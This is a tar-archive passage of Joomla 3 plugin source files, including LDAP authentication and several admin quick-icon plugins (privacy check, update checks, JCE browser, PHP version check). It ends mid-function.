	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_AUTH_JOOMLA_XML_DESCRIPTION</description>
	<files>
		<filename plugin="joomla">joomla.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_authentication_joomla.ini</language>
		<language tag="en-GB">en-GB.plg_authentication_joomla.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                            authentication/joomla/index.html                                                                    0000705                 00000000037 15242051520 0013033 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 authentication/ldap/index.html                                                                      0000705                 00000000037 15242051520 0012472 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 authentication/ldap/ldap.php                                                                        0000705                 00000011767 15242051520 0012142 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Authentication.ldap
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Ldap\LdapClient;

/**
 * LDAP Authentication Plugin
 *
 * @since  1.5
 */
class PlgAuthenticationLdap extends JPlugin
{
	/**
	 * This method should handle any authentication and report back to the subject
	 *
	 * @param   array   $credentials  Array holding the user credentials
	 * @param   array   $options      Array of extra options
	 * @param   object  &$response    Authentication response object
	 *
	 * @return  boolean
	 *
	 * @since   1.5
	 */
	public function onUserAuthenticate($credentials, $options, &$response)
	{
		$userdetails = null;
		$success = 0;
		$userdetails = array();

		// For JLog
		$response->type = 'LDAP';

		// Strip null bytes from the password
		$credentials['password'] = str_replace(chr(0), '', $credentials['password']);

		// LDAP does not like Blank passwords (tries to Anon Bind which is bad)
		if (empty($credentials['password']))
		{
			$response->status = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::_('JGLOBAL_AUTH_EMPTY_PASS_NOT_ALLOWED');

			return false;
		}

		// Load plugin params info
		$ldap_email    = $this->params->get('ldap_email');
		$ldap_fullname = $this->params->get('ldap_fullname');
		$ldap_uid      = $this->params->get('ldap_uid');
		$auth_method   = $this->params->get('auth_method');

		$ldap = new LdapClient($this->params);

		if (!$ldap->connect())
		{
			$response->status = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::_('JGLOBAL_AUTH_NOT_CONNECT');

			return;
		}

		switch ($auth_method)
		{
			case 'search':
			{
				// Bind using Connect Username/password
				// Force anon bind to mitigate misconfiguration like [#7119]
				if ($this->params->get('username', '') !== '')
				{
					$bindtest = $ldap->bind();
				}
				else
				{
					$bindtest = $ldap->anonymous_bind();
				}

				if ($bindtest)
				{
					// Search for users DN
					$binddata = $this->searchByString(
						str_replace(
							'[search]',
							str_replace(';', '\3b', $ldap->escape($credentials['username'], null, LDAP_ESCAPE_FILTER)),
							$this->params->get('search_string')
						),
						$ldap
					);

					if (isset($binddata[0], $binddata[0]['dn']))
					{
						// Verify Users Credentials
						$success = $ldap->bind($binddata[0]['dn'], $credentials['password'], 1);

						// Get users details
						$userdetails = $binddata;
					}
					else
					{
						$response->status = JAuthentication::STATUS_FAILURE;
						$response->error_message = JText::_('JGLOBAL_AUTH_NO_USER');
					}
				}
				else
				{
					$response->status = JAuthentication::STATUS_FAILURE;
					$response->error_message = JText::_('JGLOBAL_AUTH_NOT_CONNECT');
				}
			}	break;

			case 'bind':
			{
				// We just accept the result here
				$success = $ldap->bind($ldap->escape($credentials['username'], null, LDAP_ESCAPE_DN), $credentials['password']);

				if ($success)
				{
					$userdetails = $this->searchByString(
						str_replace(
							'[search]',
							str_replace(';', '\3b', $ldap->escape($credentials['username'], null, LDAP_ESCAPE_FILTER)),
							$this->params->get('search_string')
						),
						$ldap
					);
				}
				else
				{
					$response->status = JAuthentication::STATUS_FAILURE;
					$response->error_message = JText::_('JGLOBAL_AUTH_INVALID_PASS');
				}
			}	break;
		}

		if (!$success)
		{
			$response->status = JAuthentication::STATUS_FAILURE;

			if ($response->error_message === '')
			{
				$response->error_message = JText::_('JGLOBAL_AUTH_INVALID_PASS');
			}
		}
		else
		{
			// Grab some details from LDAP and return them
			if (isset($userdetails[0][$ldap_uid][0]))
			{
				$response->username = $userdetails[0][$ldap_uid][0];
			}

			if (isset($userdetails[0][$ldap_email][0]))
			{
				$response->email = $userdetails[0][$ldap_email][0];
			}

			if (isset($userdetails[0][$ldap_fullname][0]))
			{
				$response->fullname = $userdetails[0][$ldap_fullname][0];
			}
			else
			{
				$response->fullname = $credentials['username'];
			}

			// Were good - So say so.
			$response->status        = JAuthentication::STATUS_SUCCESS;
			$response->error_message = '';
		}

		$ldap->close();
	}

	/**
	 * Shortcut method to build a LDAP search based on a semicolon separated string
	 *
	 * Note that this method requires that semicolons which should be part of the search term to be escaped
	 * to correctly split the search string into separate lookups
	 *
	 * @param   string      $search  search string of search values
	 * @param   LdapClient  $ldap    The LDAP client
	 *
	 * @return  array  Search results
	 *
	 * @since   3.8.2
	 */
	private static function searchByString($search, LdapClient $ldap)
	{
		$results = explode(';', $search);

		foreach ($results as $key => $result)
		{
			$results[$key] = '(' . str_replace('\3b', ';', $result) . ')';
		}

		return $ldap->search($results);
	}
}
         authentication/ldap/ldap.xml                                                                        0000705                 00000010756 15242051520 0012150 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="authentication" method="upgrade">
	<name>plg_authentication_ldap</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_LDAP_XML_DESCRIPTION</description>
	<files>
		<filename plugin="ldap">ldap.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_authentication_ldap.ini</language>
		<language tag="en-GB">en-GB.plg_authentication_ldap.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="host"
					type="text"
					label="PLG_LDAP_FIELD_HOST_LABEL"
					description="PLG_LDAP_FIELD_HOST_DESC"
					size="20"
				/>

				<field
					name="port"
					type="number"
					label="PLG_LDAP_FIELD_PORT_LABEL"
					description="PLG_LDAP_FIELD_PORT_DESC"
					min="1"
					max="65535"
					default="389"
					hint="389"
					validate="number"
					filter="integer"
					size="5"
				/>

				<field
					name="use_ldapV3"
					type="radio"
					label="PLG_LDAP_FIELD_V3_LABEL"
					description="PLG_LDAP_FIELD_V3_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="negotiate_tls"
					type="radio"
					label="PLG_LDAP_FIELD_NEGOCIATE_LABEL"
					description="PLG_LDAP_FIELD_NEGOCIATE_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="ignore_reqcert_tls"
					type="radio"
					label="PLG_LDAP_FIELD_IGNORE_REQCERT_TLS_LABEL"
					description="PLG_LDAP_FIELD_IGNORE_REQCERT_TLS_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="no_referrals"
					type="radio"
					label="PLG_LDAP_FIELD_REFERRALS_LABEL"
					description="PLG_LDAP_FIELD_REFERRALS_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="auth_method"
					type="list"
					label="PLG_LDAP_FIELD_AUTHMETHOD_LABEL"
					description="PLG_LDAP_FIELD_AUTHMETHOD_DESC"
					default="bind"
					>
					<option value="search">PLG_LDAP_FIELD_VALUE_BINDSEARCH</option>
					<option value="bind">PLG_LDAP_FIELD_VALUE_BINDUSER</option>
				</field>

				<field
					name="base_dn"
					type="text"
					label="PLG_LDAP_FIELD_BASEDN_LABEL"
					description="PLG_LDAP_FIELD_BASEDN_DESC"
					size="20"
				/>

				<field
					name="search_string"
					type="text"
					label="PLG_LDAP_FIELD_SEARCHSTRING_LABEL"
					description="PLG_LDAP_FIELD_SEARCHSTRING_DESC"
					size="20"
				/>

				<field
					name="users_dn"
					type="text"
					label="PLG_LDAP_FIELD_USERSDN_LABEL"
					description="PLG_LDAP_FIELD_USERSDN_DESC"
					size="20"
				/>

				<field
					name="username"
					type="text"
					label="PLG_LDAP_FIELD_USERNAME_LABEL"
					description="PLG_LDAP_FIELD_USERNAME_DESC"
					size="20"
				/>

				<field
					name="password"
					type="password"
					label="PLG_LDAP_FIELD_PASSWORD_LABEL"
					description="PLG_LDAP_FIELD_PASSWORD_DESC"
					size="20"
				/>

				<field
					name="ldap_fullname"
					type="text"
					label="PLG_LDAP_FIELD_FULLNAME_LABEL"
					description="PLG_LDAP_FIELD_FULLNAME_DESC"
					default="fullName"
					size="20"
				/>

				<field
					name="ldap_email"
					type="text"
					label="PLG_LDAP_FIELD_EMAIL_LABEL"
					description="PLG_LDAP_FIELD_EMAIL_DESC"
					default="mail"
					size="20"
				/>

				<field
					name="ldap_uid"
					type="text"
					label="PLG_LDAP_FIELD_UID_LABEL"
					description="PLG_LDAP_FIELD_UID_DESC"
					default="uid"
					size="20"
				/>
				<field
					name="ldap_debug"
					type="radio"
					label="PLG_LDAP_FIELD_LDAPDEBUG_LABEL"
					description="PLG_LDAP_FIELD_LDAPDEBUG_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                  quickicon/privacycheck/privacycheck.xml                                                             0000705                 00000001465 15242051520 0014401 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.9" type="plugin" group="quickicon" method="upgrade">
	<name>plg_quickicon_privacycheck</name>
	<author>Joomla! Project</author>
	<creationDate>June 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_QUICKICON_PRIVACYCHECK_XML_DESCRIPTION</description>
	<files>
		<filename plugin="privacycheck">privacycheck.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_quickicon_privacycheck.ini</language>
		<language tag="en-GB">en-GB.plg_quickicon_privacycheck.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                           quickicon/privacycheck/privacycheck.php                                                             0000705                 00000004624 15242051520 0014370 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Quickicon.privacycheck
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Session\Session;
use Joomla\CMS\Uri\Uri;

/**
 * Plugin to check privacy requests older than 14 days
 *
 * @since  3.9.0
 */
class PlgQuickiconPrivacyCheck extends JPlugin
{
	/**
	 * Load plugin language files automatically
	 *
	 * @var    boolean
	 * @since  3.9.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Check privacy requests older than 14 days.
	 *
	 * @param   string  $context  The calling context
	 *
	 * @return  array   A list of icon definition associative arrays
	 *
	 * @since   3.9.0
	 */
	public function onGetIcons($context)
	{
		if ($context !== $this->params->get('context', 'mod_quickicon') || !Factory::getUser()->authorise('core.admin'))
		{
			return;
		}

		JHtml::_('jquery.framework');

		$token    = Session::getFormToken() . '=' . 1;
		$privacy  = 'index.php?option=com_privacy';

		$options  = array(
			'plg_quickicon_privacycheck_url'      => Uri::base() . $privacy . '&view=requests&filter[status]=1&list[fullordering]=a.requested_at ASC',
			'plg_quickicon_privacycheck_ajax_url' => Uri::base() . $privacy . '&task=getNumberUrgentRequests&' . $token,
			'plg_quickicon_privacycheck_text'     => array(
				"NOREQUEST"            => Text::_('PLG_QUICKICON_PRIVACYCHECK_NOREQUEST'),
				"REQUESTFOUND"         => Text::_('PLG_QUICKICON_PRIVACYCHECK_REQUESTFOUND'),
				"REQUESTFOUND_MESSAGE" => Text::_('PLG_QUICKICON_PRIVACYCHECK_REQUESTFOUND_MESSAGE'),
				"REQUESTFOUND_BUTTON"  => Text::_('PLG_QUICKICON_PRIVACYCHECK_REQUESTFOUND_BUTTON'),
				"ERROR"                => Text::_('PLG_QUICKICON_PRIVACYCHECK_ERROR'),
			)
		);

		Factory::getDocument()->addScriptOptions('js-privacy-check', $options);

		JHtml::_('script', 'plg_quickicon_privacycheck/privacycheck.js', array('version' => 'auto', 'relative' => true));

		return array(
			array(
				'link'  => $privacy . '&view=requests&filter[status]=1&list[fullordering]=a.requested_at ASC',
				'image' => 'users',
				'icon'  => 'header/icon-48-user.png',
				'text'  => Text::_('PLG_QUICKICON_PRIVACYCHECK_CHECKING'),
				'id'    => 'plg_quickicon_privacycheck',
				'group' => 'MOD_QUICKICON_USERS'
			)
		);
	}
}
                                                                                                            quickicon/joomlaupdate/index.html                                                                   0000705                 00000000037 15242051520 0013204 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 quickicon/joomlaupdate/joomlaupdate.xml                                                             0000705                 00000002134 15242051520 0014415 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="quickicon" method="upgrade">
	<name>plg_quickicon_joomlaupdate</name>
	<author>Joomla! Project</author>
	<creationDate>August 2011</creationDate>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_QUICKICON_JOOMLAUPDATE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="joomlaupdate">joomlaupdate.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_quickicon_joomlaupdate.ini</language>
		<language tag="en-GB">en-GB.plg_quickicon_joomlaupdate.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="context"
					type="text"
					label="PLG_QUICKICON_JOOMLAUPDATE_GROUP_LABEL"
					description="PLG_QUICKICON_JOOMLAUPDATE_GROUP_DESC"
					default="mod_quickicon"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                                                                                                                                                    quickicon/joomlaupdate/joomlaupdate.php                                                             0000705                 00000006116 15242051520 0014410 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Quickicon.Joomlaupdate
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! update notification plugin
 *
 * @since  2.5
 */
class PlgQuickiconJoomlaupdate extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * This method is called when the Quick Icons module is constructing its set
	 * of icons. You can return an array which defines a single icon and it will
	 * be rendered right after the stock Quick Icons.
	 *
	 * @param   string  $context  The calling context
	 *
	 * @return  array  A list of icon definition associative arrays, consisting of the
	 *                 keys link, image, text and access.
	 *
	 * @since   2.5
	 */
	public function onGetIcons($context)
	{
		if ($context !== $this->params->get('context', 'mod_quickicon') || !JFactory::getUser()->authorise('core.manage', 'com_joomlaupdate'))
		{
			return;
		}

		JHtml::_('jquery.framework');

		$currentTemplate = JFactory::getApplication()->getTemplate();

		$url      = JUri::base() . 'index.php?option=com_joomlaupdate';
		$ajaxUrl  = JUri::base() . 'index.php?option=com_joomlaupdate&task=update.ajax&' . JSession::getFormToken() . '=1';
		$script   = array();
		$script[] = 'var plg_quickicon_joomlaupdate_url = \'' . $url . '\';';
		$script[] = 'var plg_quickicon_joomlaupdate_ajax_url = \'' . $ajaxUrl . '\';';
		$script[] = 'var plg_quickicon_jupdatecheck_jversion = \'' . JVERSION . '\'';
		$script[] = 'var plg_quickicon_joomlaupdate_text = {'
			. '"UPTODATE" : "' . JText::_('PLG_QUICKICON_JOOMLAUPDATE_UPTODATE', true) . '",'
			. '"UPDATEFOUND": "' . JText::_('PLG_QUICKICON_JOOMLAUPDATE_UPDATEFOUND', true) . '",'
			. '"UPDATEFOUND_MESSAGE": "' . JText::_('PLG_QUICKICON_JOOMLAUPDATE_UPDATEFOUND_MESSAGE', true) . '",'
			. '"UPDATEFOUND_BUTTON": "' . JText::_('PLG_QUICKICON_JOOMLAUPDATE_UPDATEFOUND_BUTTON', true) . '",'
			. '"ERROR": "' . JText::_('PLG_QUICKICON_JOOMLAUPDATE_ERROR', true) . '",'
			. '};';
		$script[] = 'var plg_quickicon_joomlaupdate_img = {'
			. '"UPTODATE" : "' . JUri::base(true) . '/templates/' . $currentTemplate . '/images/header/icon-48-jupdate-uptodate.png",'
			. '"UPDATEFOUND": "' . JUri::base(true) . '/templates/' . $currentTemplate . '/images/header/icon-48-jupdate-updatefound.png",'
			. '"ERROR": "' . JUri::base(true) . '/templates/' . $currentTemplate . '/images/header/icon-48-deny.png",'
			. '};';
		JFactory::getDocument()->addScriptDeclaration(implode("\n", $script));
		JHtml::_('script', 'plg_quickicon_joomlaupdate/jupdatecheck.js', array('version' => 'auto', 'relative' => true));

		return array(
			array(
				'link' => 'index.php?option=com_joomlaupdate',
				'image' => 'joomla',
				'icon' => 'header/icon-48-download.png',
				'text' => JText::_('PLG_QUICKICON_JOOMLAUPDATE_CHECKING'),
				'id' => 'plg_quickicon_joomlaupdate',
				'group' => 'MOD_QUICKICON_MAINTENANCE'
			)
		);
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                  quickicon/extensionupdate/extensionupdate.xml                                                       0000705                 00000002165 15242051520 0015707 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="quickicon" method="upgrade">
	<name>plg_quickicon_extensionupdate</name>
	<author>Joomla! Project</author>
	<creationDate>August 2011</creationDate>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_QUICKICON_EXTENSIONUPDATE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="extensionupdate">extensionupdate.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_quickicon_extensionupdate.ini</language>
		<language tag="en-GB">en-GB.plg_quickicon_extensionupdate.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field 
					name="context"
					type="text"
					label="PLG_QUICKICON_EXTENSIONUPDATE_GROUP_LABEL"
					description="PLG_QUICKICON_EXTENSIONUPDATE_GROUP_DESC"
					default="mod_quickicon"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                                                                                                                           quickicon/extensionupdate/extensionupdate.php                                                       0000705                 00000005161 15242051520 0015675 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Quickicon.Extensionupdate
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! update notification plugin
 *
 * @since  2.5
 */
class PlgQuickiconExtensionupdate extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Returns an icon definition for an icon which looks for extensions updates
	 * via AJAX and displays a notification when such updates are found.
	 *
	 * @param   string  $context  The calling context
	 *
	 * @return  array  A list of icon definition associative arrays, consisting of the
	 *                 keys link, image, text and access.
	 *
	 * @since   2.5
	 */
	public function onGetIcons($context)
	{
		if ($context !== $this->params->get('context', 'mod_quickicon') || !JFactory::getUser()->authorise('core.manage', 'com_installer'))
		{
			return;
		}

		JHtml::_('jquery.framework');

		$token    = JSession::getFormToken() . '=' . 1;
		$url      = JUri::base() . 'index.php?option=com_installer&view=update&task=update.find&' . $token;
		$ajax_url = JUri::base() . 'index.php?option=com_installer&view=update&task=update.ajax&' . $token;
		$script   = array();
		$script[] = 'var plg_quickicon_extensionupdate_url = \'' . $url . '\';';
		$script[] = 'var plg_quickicon_extensionupdate_ajax_url = \'' . $ajax_url . '\';';
		$script[] = 'var plg_quickicon_extensionupdate_text = {'
			. '"UPTODATE" : "' . JText::_('PLG_QUICKICON_EXTENSIONUPDATE_UPTODATE', true) . '",'
			. '"UPDATEFOUND": "' . JText::_('PLG_QUICKICON_EXTENSIONUPDATE_UPDATEFOUND', true) . '",'
			. '"UPDATEFOUND_MESSAGE": "' . JText::_('PLG_QUICKICON_EXTENSIONUPDATE_UPDATEFOUND_MESSAGE', true) . '",'
			. '"UPDATEFOUND_BUTTON": "' . JText::_('PLG_QUICKICON_EXTENSIONUPDATE_UPDATEFOUND_BUTTON', true) . '",'
			. '"ERROR": "' . JText::_('PLG_QUICKICON_EXTENSIONUPDATE_ERROR', true) . '",'
			. '};';
		JFactory::getDocument()->addScriptDeclaration(implode("\n", $script));
		JHtml::_('script', 'plg_quickicon_extensionupdate/extensionupdatecheck.js', array('version' => 'auto', 'relative' => true));

		return array(
			array(
				'link'  => 'index.php?option=com_installer&view=update&task=update.find&' . $token,
				'image' => 'asterisk',
				'icon'  => 'header/icon-48-extension.png',
				'text'  => JText::_('PLG_QUICKICON_EXTENSIONUPDATE_CHECKING'),
				'id'    => 'plg_quickicon_extensionupdate',
				'group' => 'MOD_QUICKICON_MAINTENANCE'
			)
		);
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                               quickicon/extensionupdate/index.html                                                                0000705                 00000000037 15242051520 0013737 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 quickicon/jce/jce.xml                                                                               0000705                 00000001633 15242051520 0010552 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.8" type="plugin" group="quickicon" method="upgrade">
	<name>plg_quickicon_jce</name>
	<version>2.8.3</version>
    <creationDate>15-01-2020</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>http://www.joomlacontenteditor.net</authorUrl>
    <copyright>Copyright (C) 2006 - 2020 Ryan Demmer. All rights reserved</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>PLG_QUICKICON_JCE_XML_DESCRIPTION</description>
	<files folder="plugins/quickicon/jce">
		<filename plugin="jce">jce.php</filename>
	</files>
	<languages folder="administrator/language/en-GB">
      <language tag="en-GB">en-GB.plg_quickicon_jce.ini</language>
      <language tag="en-GB">en-GB.plg_quickicon_jce.sys.ini</language>
  </languages>
</extension>
                                                                                                     quickicon/jce/jce.php                                                                               0000705                 00000003342 15242051520 0010540 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

/**
 * @copyright 	Copyright (c) 2009-2020 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die;

/**
 * JCE File Browser Quick Icon plugin.
 *
 * @since		2.1
 */
class plgQuickiconJce extends JPlugin
{
    public function __construct(&$subject, $config)
    {
        parent::__construct($subject, $config);

        $app = JFactory::getApplication();

        // only in Admin and only if the component is enabled
        if ($app->getClientId() !== 1 || JComponentHelper::getComponent('com_jce', true)->enabled === false) {
            return;
        }

        $this->loadLanguage();
    }

    public function onGetIcons($context)
    {
        if ($context != $this->params->get('context', 'mod_quickicon')) {
            return;
        }

        $user = JFactory::getUser();

        if (!$user->authorise('jce.browser', 'com_jce')) {
            return;
        }

        $language = JFactory::getLanguage();
        $language->load('com_jce', JPATH_ADMINISTRATOR);

        $filter = $this->params->get('filter', '');

        return array(array(
            'link'      => 'index.php?option=com_jce&view=browser&filter=' . $filter,
            'image'     => 'picture fa-file-image-o',
            'access'    => array('jce.browser', 'com_jce'),
            'text'      => JText::_('PLG_QUICKICON_JCE_TITLE'),
            'id'        => 'plg_quickicon_jce',
        ));
    }
}
                                                                                                                                                                                                                                                                                              quickicon/index.html                                                                                0000705                 00000000037 15242051520 0010520 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 quickicon/phpversioncheck/phpversioncheck.php                                                       0000705                 00000013707 15242051520 0015632 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Quickicon.phpversioncheck
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Plugin to check the PHP version and display a warning about its support status
 *
 * @since  3.7.0
 */
class PlgQuickiconPhpVersionCheck extends JPlugin
{
	/**
	 * Constant representing the active PHP version being fully supported
	 *
	 * @var    integer
	 * @since  3.7.0
	 */
	const PHP_SUPPORTED = 0;

	/**
	 * Constant representing the active PHP version receiving security support only
	 *
	 * @var    integer
	 * @since  3.7.0
	 */
	const PHP_SECURITY_ONLY = 1;

	/**
	 * Constant representing the active PHP version being unsupported
	 *
	 * @var    integer
	 * @since  3.7.0
	 */
	const PHP_UNSUPPORTED = 2;

	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.7.0
	 */
	protected $app;

	/**
	 * Load plugin language files automatically
	 *
	 * @var    boolean
	 * @since  3.7.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Check the PHP version after the admin component has been dispatched.
	 *
	 * @param   string  $context  The calling context
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	public function onGetIcons($context)
	{
		if (!$this->shouldDisplayMessage())
		{
			return;
		}

		$supportStatus = $this->getPhpSupport();

		if ($supportStatus['status'] !== self::PHP_SUPPORTED)
		{
			// Enqueue the notification message; set a warning if receiving security support or "error" if unsupported
			switch ($supportStatus['status'])
			{
				case self::PHP_SECURITY_ONLY:
					$this->app->enqueueMessage($supportStatus['message'], 'warning');

					break;

				case self::PHP_UNSUPPORTED:
					$this->app->enqueueMessage($supportStatus['message'], 'error');

					break;
			}
		}
	}

	/**
	 * Gets PHP support status.
	 *
	 * @return  array  Array of PHP support data
	 *
	 * @since   3.7.0
	 * @note    The dates used in this method should correspond to the dates given on PHP.net
	 * @link    https://www.php.net/supported-versions.php
	 * @link    https://www.php.net/eol.php
	 */
	private function getPhpSupport()
	{
		$phpSupportData = array(
			'5.3' => array(
				'security' => '2013-07-11',
				'eos'      => '2014-08-14',
			),
			'5.4' => array(
				'security' => '2014-09-14',
				'eos'      => '2015-09-14',
			),
			'5.5' => array(
				'security' => '2015-07-10',
				'eos'      => '2016-07-21',
			),
			'5.6' => array(
				'security' => '2017-01-19',
				'eos'      => '2018-12-31',
			),
			'7.0' => array(
				'security' => '2017-12-03',
				'eos'      => '2018-12-03',
			),
			'7.1' => array(
				'security' => '2018-12-01',
				'eos'      => '2019-12-01',
			),
			'7.2' => array(
				'security' => '2019-11-30',
				'eos'      => '2020-11-30',
			),
			'7.3' => array(
				'security' => '2020-12-06',
				'eos'      => '2021-12-06',
			),
			'7.4' => array(
				'security' => '2021-11-28',
				'eos'      => '2022-11-28',
			),
			'8.0' => array(
				'security' => '2022-11-26',
				'eos'      => '2023-11-26',
			),
			'8.1' => array(
				'security' => '2023-11-25',
				'eos'      => '2024-11-25',
			),
		);

		// Fill our return array with default values
		$supportStatus = array(
			'status'  => self::PHP_SUPPORTED,
			'message' => null,
		);

		// Check the PHP version's support status using the minor version
		$activePhpVersion = PHP_MAJOR_VERSION . '.' . PHP_MINOR_VERSION;

		// Do we have the PHP version's data?
		if (isset($phpSupportData[$activePhpVersion]))
		{
			// First check if the version has reached end of support
			$today           = new JDate;
			$phpEndOfSupport = new JDate($phpSupportData[$activePhpVersion]['eos']);

			if ($phpNotSupported = $today > $phpEndOfSupport)
			{
				/*
				 * Find the oldest PHP version still supported that is newer than the current version,
				 * this is our recommendation for users on unsupported platforms
				 */
				foreach ($phpSupportData as $version => $versionData)
				{
					$versionEndOfSupport = new JDate($versionData['eos']);

					if (version_compare($version, $activePhpVersion, 'ge') && ($today < $versionEndOfSupport))
					{
